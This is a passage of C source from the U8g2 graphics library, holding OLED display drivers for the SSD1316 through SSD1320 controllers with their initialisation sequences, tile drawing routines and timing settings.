100ns, so use 100/2 */ /* sck_pulse_width_ns = */ 50, /* SSD1306: 20ns, but cycle time is 100ns, so use 100/2, AVR: below 70: 8 MHz, >= 70 --> 4MHz clock */ /* sck_clock_hz = */ 8000000UL, /* since Arduino 1.6.0, the SPI bus speed in Hz. Should be 1000000000/sck_pulse_width_ns */ /* spi_mode = */ 0, /* active high, rising edge */ /* i2c_bus_clock_100kHz = */ 4, /* data_setup_time_ns = */ 40, /* write_pulse_width_ns = */ 150, /* SSD1306: cycle time is 300ns, so use 300/2 = 150 */ /* tile_width = */ 12, /* tile_height = */ 4, /* default_x_offset = */ 0, /* flipmode_x_offset = */ 0, /* pixel_width = */ 96, /* pixel_height = */ 32 }; uint8_t u8x8_d_ssd1316_96x32(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { if ( u8x8_d_ssd1316_generic(u8x8, msg, arg_int, arg_ptr) != 0 ) return 1; switch(msg) { case U8X8_MSG_DISPLAY_INIT: u8x8_d_helper_display_init(u8x8); u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1316_96x32_init_seq); break; case U8X8_MSG_DISPLAY_SETUP_MEMORY: u8x8_d_helper_display_setup_memory(u8x8, &u8x8_ssd1316_96x32_display_info); break; default: return 0; } return 1; } ================================================ FILE: Bibliotecas/U8g2/src/clib/u8x8_d_ssd1317.c ================================================ /* u8x8_d_ssd1317.c Universal 8bit Graphics Library (https://github.com/olikraus/u8g2/) Copyright (c) 2018, olikraus@gmail.com All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. SSD1317: 128x96 OLED https://github.com/olikraus/u8g2/issues/663 */ #include "u8x8.h" /* more or less generic setup of all these small OLEDs */ static const uint8_t u8x8_d_ssd1317_96x96_init_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x0ae), /* display off */ U8X8_CA(0x0d5, 0x0d1), /* clock divide ratio (0x00=1) and oscillator frequency (0x8) */ U8X8_CA(0x0a8, 0x05f), /* multiplex ratio */ U8X8_CA(0x0d3, 0x000), /* display offset */ U8X8_CA(0x0a2, 0x000), /* set display start line to 0 */ U8X8_CA(0x08d, 0x014), /* [2] charge pump setting (p62): 0x014 enable, 0x010 disable, SSD1306 only, should be removed for SH1106 */ U8X8_CA(0x020, 0x000), /* horizontal addressing mode */ U8X8_C(0x0a0), /* segment remap a0/a1*/ U8X8_C(0x0c8), /* c0: scan dir normal, c8: reverse */ // Flipmode //U8X8_C(0x0a1), /* segment remap a0/a1*/ //U8X8_C(0x0c0), /* c0: scan dir normal, c8: reverse */ U8X8_CA(0x0da, 0x012), /* com pin HW config, sequential com pin config (bit 4), disable left/right remap (bit 5) */ U8X8_CA(0x081, 0x09f), /* [2] set contrast control */ U8X8_CA(0x0d9, 0x0f1), /* [2] pre-charge period 0x022/f1*/ U8X8_CA(0x0db, 0x0ff), /* vcomh deselect level */ // if vcomh is 0, then this will give the biggest range for contrast control issue #98 // restored the old values for the noname constructor, because vcomh=0 will not work for all OLEDs, #116 U8X8_C(0x02e), /* Deactivate scroll */ U8X8_C(0x0a4), /* output ram to display */ U8X8_C(0x0a6), /* none inverted normal display mode */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_ssd1317_96x96_powersave0_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x0af), /* display on */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_ssd1317_96x96_powersave1_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x0ae), /* display off */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_ssd1317_96x96_flip0_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x0a1), /* segment remap a0/a1*/ U8X8_C(0x0c8), /* c0: scan dir normal, c8: reverse */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_ssd1317_96x96_flip1_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x0a0), /* segment remap a0/a1*/ U8X8_C(0x0c8), /* c0: scan dir normal, c8: reverse */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static uint8_t u8x8_d_ssd1317_generic(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { uint8_t x, c; uint8_t *ptr; switch(msg) { /* handled by the calling function case U8X8_MSG_DISPLAY_SETUP_MEMORY: u8x8_d_helper_display_setup_memory(u8x8, &u8x8_ssd1317_96x96_display_info); break; */ /* handled by the calling function case U8X8_MSG_DISPLAY_INIT: u8x8_d_helper_display_init(u8x8); u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1317_96x96_init_seq); break; */ case U8X8_MSG_DISPLAY_SET_POWER_SAVE: if ( arg_int == 0 ) u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1317_96x96_powersave0_seq); else u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1317_96x96_powersave1_seq); break; case U8X8_MSG_DISPLAY_SET_FLIP_MODE: if ( arg_int == 0 ) { u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1317_96x96_flip0_seq); u8x8->x_offset = u8x8->display_info->default_x_offset; } else { u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1317_96x96_flip1_seq); u8x8->x_offset = u8x8->display_info->flipmode_x_offset; } break; #ifdef U8X8_WITH_SET_CONTRAST case U8X8_MSG_DISPLAY_SET_CONTRAST: u8x8_cad_StartTransfer(u8x8); u8x8_cad_SendCmd(u8x8, 0x081 ); u8x8_cad_SendArg(u8x8, arg_int ); /* ssd1306 has range from 0 to 255 */ u8x8_cad_EndTransfer(u8x8); break; #endif case U8X8_MSG_DISPLAY_DRAW_TILE: u8x8_cad_StartTransfer(u8x8); x = ((u8x8_tile_t *)arg_ptr)->x_pos; x *= 8; x += u8x8->x_offset; u8x8_cad_SendCmd(u8x8, 0x040 ); /* set line offset to 0 */ u8x8_cad_SendCmd(u8x8, 0x010 | (x>>4) ); u8x8_cad_SendArg(u8x8, 0x000 | ((x&15))); /* probably wrong, should be SendCmd */ u8x8_cad_SendArg(u8x8, 0x0b0 | (((u8x8_tile_t *)arg_ptr)->y_pos)); /* probably wrong, should be SendCmd */ do { c = ((u8x8_tile_t *)arg_ptr)->cnt; ptr = ((u8x8_tile_t *)arg_ptr)->tile_ptr; u8x8_cad_SendData(u8x8, c*8, ptr); /* note: SendData can not handle more than 255 bytes */ /* do { u8x8_cad_SendData(u8x8, 8, ptr); ptr += 8; c--; } while( c > 0 ); */ arg_int--; } while( arg_int > 0 ); u8x8_cad_EndTransfer(u8x8); break; default: return 0; } return 1; } static const u8x8_display_info_t u8x8_ssd1317_96x96_display_info = { /* chip_enable_level = */ 0, /* chip_disable_level = */ 1, /* post_chip_enable_wait_ns = */ 20, /* pre_chip_disable_wait_ns = */ 10, /* reset_pulse_width_ms = */ 100, /* SSD1306: 3 us */ /* post_reset_wait_ms = */ 100, /* far east OLEDs need much longer setup time */ /* sda_setup_time_ns = */ 50, /* SSD1306: 15ns, but cycle time is 100ns, so use 100/2 */ /* sck_pulse_width_ns = */ 50, /* SSD1306: 20ns, but cycle time is 100ns, so use 100/2, AVR: below 70: 8 MHz, >= 70 --> 4MHz clock */ /* sck_clock_hz = */ 8000000UL, /* since Arduino 1.6.0, the SPI bus speed in Hz. Should be 1000000000/sck_pulse_width_ns */ /* spi_mode = */ 0, /* active high, rising edge */ /* i2c_bus_clock_100kHz = */ 4, /* data_setup_time_ns = */ 40, /* write_pulse_width_ns = */ 150, /* SSD1306: cycle time is 300ns, so use 300/2 = 150 */ /* tile_width = */ 12, /* tile_height = */ 12, /* default_x_offset = */ 16, /* flipmode_x_offset = */ 16, /* pixel_width = */ 96, /* pixel_height = */ 96 }; uint8_t u8x8_d_ssd1317_96x96(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { if ( u8x8_d_ssd1317_generic(u8x8, msg, arg_int, arg_ptr) != 0 ) return 1; switch(msg) { case U8X8_MSG_DISPLAY_INIT: u8x8_d_helper_display_init(u8x8); u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1317_96x96_init_seq); break; case U8X8_MSG_DISPLAY_SETUP_MEMORY: u8x8_d_helper_display_setup_memory(u8x8, &u8x8_ssd1317_96x96_display_info); break; default: return 0; } return 1; } ================================================ FILE: Bibliotecas/U8g2/src/clib/u8x8_d_ssd1318.c ================================================ /* u8x8_d_ssd1318.c Universal 8bit Graphics Library (https://github.com/olikraus/u8g2/) Copyright (c) 2019, olikraus@gmail.com All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. SSD1318: 128x96 OLED https://github.com/olikraus/u8g2/issues/784 */ #include "u8x8.h" /* with internal charge pump (icp) */ static const uint8_t u8x8_d_ssd1318_128x96_icp_init_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_CA(0x0fd, 0x012), /* unlock */ U8X8_C(0x0ae), /* display off */ U8X8_CA(0x0ad, 0x0d0), /* external or internal IREF selection */ U8X8_CA(0x0a8, 0x05f), /* multiplex ratio, 96 duty */ U8X8_CA(0x0d3, 0x000), /* display offset */ U8X8_CA(0x0a2, 0x000), /* start line */ // four possible charge pump setting from as per sec 6.8.2 of the ssd1318 datasheet // uncomment only one of the below for lines // default: // U8X8_CA(0x08d, 0x004, 0x0ac, 0x001), /* Charge pump setting from sec 6.8.2 of SSD1318 datasheet */ // U8X8_CA(0x08d, 0x044, 0x0ac, 0x001), /* Charge pump setting from sec 6.8.2 of SSD1318 datasheet */ // U8X8_CA(0x08d, 0x084, 0x0ac, 0x001), /* Charge pump setting from sec 6.8.2 of SSD1318 datasheet */ U8X8_CAAA(0x08d, 0x0c4, 0x0ac, 0x001), /* Charge pump setting from sec 6.8.2 of SSD1318 datasheet */ U8X8_C(0x0a1), /* segment remap a0/a1*/ U8X8_C(0x0c0), /* c0: scan dir normal, c8: reverse */ // Flipmode // U8X8_C(0x0a0), /* segment remap a0/a1*/ // U8X8_C(0x0c8), /* c0: scan dir normal, c8: reverse */ U8X8_CA(0x0da, 0x012), /* com pin HW config, sequential com pin config (bit 4), disable left/right remap (bit 5) */ U8X8_CA(0x081, 0x00f), /* value from issue 784, seems to be a little bit low... */ U8X8_CA(0x0d5, 0x0d1), /* clock divide ratio (0x00=1) and oscillator frequency (0x8), value from issue 784 example code */ U8X8_CA(0x0d9, 0x022), /* [2] pre-charge period 0x022/f1, value from issue 784 example code */ U8X8_CA(0x0db, 0x030), /* vcomh deselect level, value from issue 784 example code */ //U8X8_CA(0x020, 0x000), /* horizontal addressing mode */ //U8X8_C(0x02e), /* Deactivate scroll */ U8X8_C(0x0a4), /* output ram to display */ U8X8_C(0x0a6), /* none inverted normal display mode */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; /* with external charge pump */ static const uint8_t u8x8_d_ssd1318_128x96_xcp_init_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_CA(0x0fd, 0x012), /* unlock */ U8X8_C(0x0ae), /* display off */ U8X8_CA(0x0ad, 0x0d0), /* external or internal IREF selection */ U8X8_CA(0x0a8, 0x05f), /* multiplex ratio, 96 duty */ U8X8_CA(0x0d3, 0x000), /* display offset */ U8X8_CA(0x0a2, 0x000), /* start line */ // not sure if we have to set something for external charge pump // ... U8X8_C(0x0a1), /* segment remap a0/a1*/ U8X8_C(0x0c0), /* c0: scan dir normal, c8: reverse */ // Flipmode // U8X8_C(0x0a0), /* segment remap a0/a1*/ // U8X8_C(0x0c8), /* c0: scan dir normal, c8: reverse */ U8X8_CA(0x0da, 0x012), /* com pin HW config, sequential com pin config (bit 4), disable left/right remap (bit 5) */ U8X8_CA(0x081, 0x00f), /* value from issue 784, seems to be a little bit low... */ U8X8_CA(0x0d5, 0x0d1), /* clock divide ratio (0x00=1) and oscillator frequency (0x8), value from issue 784 example code */ U8X8_CA(0x0d9, 0x022), /* [2] pre-charge period 0x022/f1, value from issue 784 example code */ U8X8_CA(0x0db, 0x030), /* vcomh deselect level, value from issue 784 example code */ //U8X8_CA(0x020, 0x000), /* horizontal addressing mode */ //U8X8_C(0x02e), /* Deactivate scroll */ U8X8_C(0x0a4), /* output ram to display */ U8X8_C(0x0a6), /* none inverted normal display mode */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_ssd1318_128x96_powersave0_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x0af), /* display on */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_ssd1318_128x96_powersave1_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x0ae), /* display off */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_ssd1318_128x96_flip0_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x0a1), /* segment remap a0/a1*/ U8X8_C(0x0c0), /* c0: scan dir normal, c8: reverse */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_ssd1318_128x96_flip1_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x0a0), /* segment remap a0/a1*/ U8X8_C(0x0c8), /* c0: scan dir normal, c8: reverse */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static uint8_t u8x8_d_ssd1318_generic(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { uint8_t x, c; uint8_t *ptr; switch(msg) { /* handled by the calling function case U8X8_MSG_DISPLAY_SETUP_MEMORY: u8x8_d_helper_display_setup_memory(u8x8, &u8x8_ssd1318_128x96_display_info); break; */ /* handled by the calling function case U8X8_MSG_DISPLAY_INIT: u8x8_d_helper_display_init(u8x8); u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1318_128x96_init_seq); break; */ case U8X8_MSG_DISPLAY_SET_POWER_SAVE: if ( arg_int == 0 ) u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1318_128x96_powersave0_seq); else u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1318_128x96_powersave1_seq); break; case U8X8_MSG_DISPLAY_SET_FLIP_MODE: if ( arg_int == 0 ) { u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1318_128x96_flip0_seq); u8x8->x_offset = u8x8->display_info->default_x_offset; } else { u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1318_128x96_flip1_seq); u8x8->x_offset = u8x8->display_info->flipmode_x_offset; } break; #ifdef U8X8_WITH_SET_CONTRAST case U8X8_MSG_DISPLAY_SET_CONTRAST: u8x8_cad_StartTransfer(u8x8); u8x8_cad_SendCmd(u8x8, 0x081 ); u8x8_cad_SendArg(u8x8, arg_int ); /* ssd1318 has range from 0 to 255 */ u8x8_cad_EndTransfer(u8x8); break; #endif case U8X8_MSG_DISPLAY_DRAW_TILE: u8x8_cad_StartTransfer(u8x8); x = ((u8x8_tile_t *)arg_ptr)->x_pos; x *= 8; x += u8x8->x_offset; u8x8_cad_SendCmd(u8x8, 0x040 ); /* set line offset to 0 */ u8x8_cad_SendCmd(u8x8, 0x010 | (x>>4) ); u8x8_cad_SendArg(u8x8, 0x000 | ((x&15))); /* probably wrong, should be SendCmd */ u8x8_cad_SendArg(u8x8, 0x0b0 | (((u8x8_tile_t *)arg_ptr)->y_pos)); /* probably wrong, should be SendCmd */ do { c = ((u8x8_tile_t *)arg_ptr)->cnt; ptr = ((u8x8_tile_t *)arg_ptr)->tile_ptr; u8x8_cad_SendData(u8x8, c*8, ptr); /* note: SendData can not handle more than 255 bytes */ /* do { u8x8_cad_SendData(u8x8, 8, ptr); ptr += 8; c--; } while( c > 0 ); */ arg_int--; } while( arg_int > 0 ); u8x8_cad_EndTransfer(u8x8); break; default: return 0; } return 1; } static const u8x8_display_info_t u8x8_ssd1318_128x96_display_info = { /* chip_enable_level = */ 0, /* chip_disable_level = */ 1, /* post_chip_enable_wait_ns = */ 20, /* pre_chip_disable_wait_ns = */ 10, /* reset_pulse_width_ms = */ 100, /* SSD1306: 3 us */ /* post_reset_wait_ms = */ 100, /* far east OLEDs need much longer setup time */ /* sda_setup_time_ns = */ 50, /* SSD1306: 15ns, but cycle time is 100ns, so use 100/2 */ /* sck_pulse_width_ns = */ 50, /* SSD1306: 20ns, but cycle time is 100ns, so use 100/2, AVR: below 70: 8 MHz, >= 70 --> 4MHz clock */ /* sck_clock_hz = */ 8000000UL, /* since Arduino 1.6.0, the SPI bus speed in Hz. Should be 1000000000/sck_pulse_width_ns */ /* spi_mode = */ 0, /* active high, rising edge */ /* i2c_bus_clock_100kHz = */ 4, /* data_setup_time_ns = */ 40, /* write_pulse_width_ns = */ 150, /* SSD1306: cycle time is 300ns, so use 300/2 = 150 */ /* tile_width = */ 16, /* tile_height = */ 12, /* default_x_offset = */ 0, /* flipmode_x_offset = */ 0, /* pixel_width = */ 128, /* pixel_height = */ 96 }; uint8_t u8x8_d_ssd1318_128x96(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { if ( u8x8_d_ssd1318_generic(u8x8, msg, arg_int, arg_ptr) != 0 ) return 1; switch(msg) { case U8X8_MSG_DISPLAY_INIT: u8x8_d_helper_display_init(u8x8); u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1318_128x96_icp_init_seq); break; case U8X8_MSG_DISPLAY_SETUP_MEMORY: u8x8_d_helper_display_setup_memory(u8x8, &u8x8_ssd1318_128x96_display_info); break; default: return 0; } return 1; } uint8_t u8x8_d_ssd1318_128x96_xcp(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { if ( u8x8_d_ssd1318_generic(u8x8, msg, arg_int, arg_ptr) != 0 ) return 1; switch(msg) { case U8X8_MSG_DISPLAY_INIT: u8x8_d_helper_display_init(u8x8); u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1318_128x96_xcp_init_seq); break; case U8X8_MSG_DISPLAY_SETUP_MEMORY: u8x8_d_helper_display_setup_memory(u8x8, &u8x8_ssd1318_128x96_display_info); break; default: return 0; } return 1; } ================================================ FILE: Bibliotecas/U8g2/src/clib/u8x8_d_ssd1320.c ================================================ /* u8x8_d_ssd1320.c Universal 8bit Graphics Library (https://github.com/olikraus/u8g2/) Copyright (c) 2020, olikraus@gmail.com All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. https://github.com/olikraus/u8g2/issues/1351 SSD1320: 160 x 160 dot matrix 16 gray scale Adapted from u8x8_d_ssd1322.c with the command set of the SSD1320 controller "official" procedure is described here: https://github.com/olikraus/u8g2/wiki/internal NOTE: U8x8 does NOT work! --> not clear, needs to be checked https://github.com/olikraus/u8g2/issues/1816 */ #include "u8x8.h" static const uint8_t u8x8_d_ssd1320_cs1_160x132_nhd_powersave0_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x0af), /* ssd1320: display on */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_ssd1320_cs1_160x132_nhd_powersave1_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x0ae), /* ssd1320: display off */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; /* input:32 one tile (8 Bytes; 1 byte per column) output: Tile for SSD1320 (32 Bytes) */ static uint8_t u8x8_ssd1320_to32_dest_buf[32]; static uint8_t *u8x8_ssd1320_8to32(U8X8_UNUSED u8x8_t *u8x8, uint8_t *ptr) { uint8_t v; uint8_t a,b; uint8_t i, j; uint8_t *dest; for( j = 0; j < 4; j++ ) { dest = u8x8_ssd1320_to32_dest_buf; dest += j; a =*ptr; ptr++; b = *ptr; ptr++; for( i = 0; i < 8; i++ ) { v = 0; if ( a&1 ) v |= 0x0f; if ( b&1 ) v |= 0xf0; *dest = v; dest+=4; a >>= 1; b >>= 1; } } return u8x8_ssd1320_to32_dest_buf; } uint8_t u8x8_d_ssd1320_common(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { uint8_t x; uint8_t y, c; uint8_t *ptr; switch(msg) { /* U8X8_MSG_DISPLAY_SETUP_MEMORY is handled by the calling function */ /* case U8X8_MSG_DISPLAY_SETUP_MEMORY: break; case U8X8_MSG_DISPLAY_INIT: u8x8_d_helper_display_init(u8x8); u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1320_256x64_init_seq); break; */ case U8X8_MSG_DISPLAY_SET_POWER_SAVE: if ( arg_int == 0 ) u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1320_cs1_160x132_nhd_powersave0_seq); else u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1320_cs1_160x132_nhd_powersave1_seq); break; #ifdef U8X8_WITH_SET_CONTRAST case U8X8_MSG_DISPLAY_SET_CONTRAST: u8x8_cad_StartTransfer(u8x8); u8x8_cad_SendCmd(u8x8, 0x081 ); u8x8_cad_SendArg(u8x8, arg_int ); /* ssd1320 has range from 1 to 255 */ u8x8_cad_EndTransfer(u8x8); break; #endif case U8X8_MSG_DISPLAY_DRAW_TILE: u8x8_cad_StartTransfer(u8x8); x = ((u8x8_tile_t *)arg_ptr)->x_pos; y = (((u8x8_tile_t *)arg_ptr)->y_pos); x += u8x8->x_offset; y *= 8; u8x8_cad_SendCmd(u8x8, 0x022 ); /* set row address, moved out of the loop (issue 302) */ u8x8_cad_SendArg(u8x8, y); u8x8_cad_SendArg(u8x8, y+7); do { c = ((u8x8_tile_t *)arg_ptr)->cnt; ptr = ((u8x8_tile_t *)arg_ptr)->tile_ptr; do { u8x8_cad_SendCmd(u8x8, 0x021 ); /* set column address */ u8x8_cad_SendArg(u8x8, x ); /* start */ u8x8_cad_SendArg(u8x8, x+3 ); /* end */ u8x8_cad_SendData(u8x8, 32, u8x8_ssd1320_8to32(u8x8, ptr)); ptr += 8; x += 4; c--; } while( c > 0 ); //x += 2; arg_int--; } while( arg_int > 0 ); u8x8_cad_EndTransfer(u8x8); break; default: return 0; } return 1; } static uint8_t *u8x8_ssd1320_8to32_2(U8X8_UNUSED u8x8_t *u8x8, uint8_t *ptr) { uint8_t v; uint8_t a,b; uint8_t i, j; uint8_t *dest; for( j = 0; j < 4; j++ ) { dest = u8x8_ssd1320_to32_dest_buf; dest += j; a =*ptr; ptr++; b = *ptr; ptr++; for( i = 0; i < 8; i++ ) { v = 0; if ( a&1 ) v |= 0xf0; // changed from 0x0f to 0xf0, https://github.com/olikraus/u8g2/issues/1816 if ( b&1 ) v |= 0x0f; // changed from 0xf0 to 0x0f, https://github.com/olikraus/u8g2/issues/1816 *dest = v; dest+=4; a >>= 1; b >>= 1; } } return u8x8_ssd1320_to32_dest_buf; } uint8_t u8x8_d_ssd1320_common_2(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { uint8_t x; uint8_t y, c; uint8_t *ptr; switch(msg) { /* U8X8_MSG_DISPLAY_SETUP_MEMORY is handled by the calling function */ /* case U8X8_MSG_DISPLAY_SETUP_MEMORY: break; case U8X8_MSG_DISPLAY_INIT: u8x8_d_helper_display_init(u8x8); u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1320_256x64_init_seq); break; */ case U8X8_MSG_DISPLAY_SET_POWER_SAVE: if ( arg_int == 0 ) u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1320_cs1_160x132_nhd_powersave0_seq); else u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1320_cs1_160x132_nhd_powersave1_seq); break; #ifdef U8X8_WITH_SET_CONTRAST case U8X8_MSG_DISPLAY_SET_CONTRAST: u8x8_cad_StartTransfer(u8x8); u8x8_cad_SendCmd(u8x8, 0x081 ); u8x8_cad_SendArg(u8x8, arg_int ); /* ssd1320 has range from 1 to 255 */ u8x8_cad_EndTransfer(u8x8); break; #endif case U8X8_MSG_DISPLAY_DRAW_TILE: u8x8_cad_StartTransfer(u8x8); x = ((u8x8_tile_t *)arg_ptr)->x_pos; y = (((u8x8_tile_t *)arg_ptr)->y_pos); x += u8x8->x_offset; y *= 8; u8x8_cad_SendCmd(u8x8, 0x022 ); /* set row address, moved out of the loop (issue 302) */ u8x8_cad_SendArg(u8x8, y); u8x8_cad_SendArg(u8x8, y+7); do { c = ((u8x8_tile_t *)arg_ptr)->cnt; ptr = ((u8x8_tile_t *)arg_ptr)->tile_ptr; do { u8x8_cad_SendCmd(u8x8, 0x021 ); /* set column address */ u8x8_cad_SendArg(u8x8, x ); /* start */ u8x8_cad_SendArg(u8x8, x+3 ); /* end */ u8x8_cad_SendData(u8x8, 32, u8x8_ssd1320_8to32_2(u8x8, ptr)); ptr += 8; x += 4; c--; } while( c > 0 ); //x += 2; arg_int--; } while( arg_int > 0 ); u8x8_cad_EndTransfer(u8x8); break; default: return 0; } return 1; } /*=========================================================*/ /* 160x32 */ static const uint8_t u8x8_d_ssd1320_cs1_160x32_nhd_flip0_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x0a0), /* remap */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_ssd1320_cs1_160x32_nhd_flip1_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x0a1), /* remap */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const u8x8_display_info_t u8x8_d_ssd1320_cs1_160x32_display_info = { /* chip_enable_level = */ 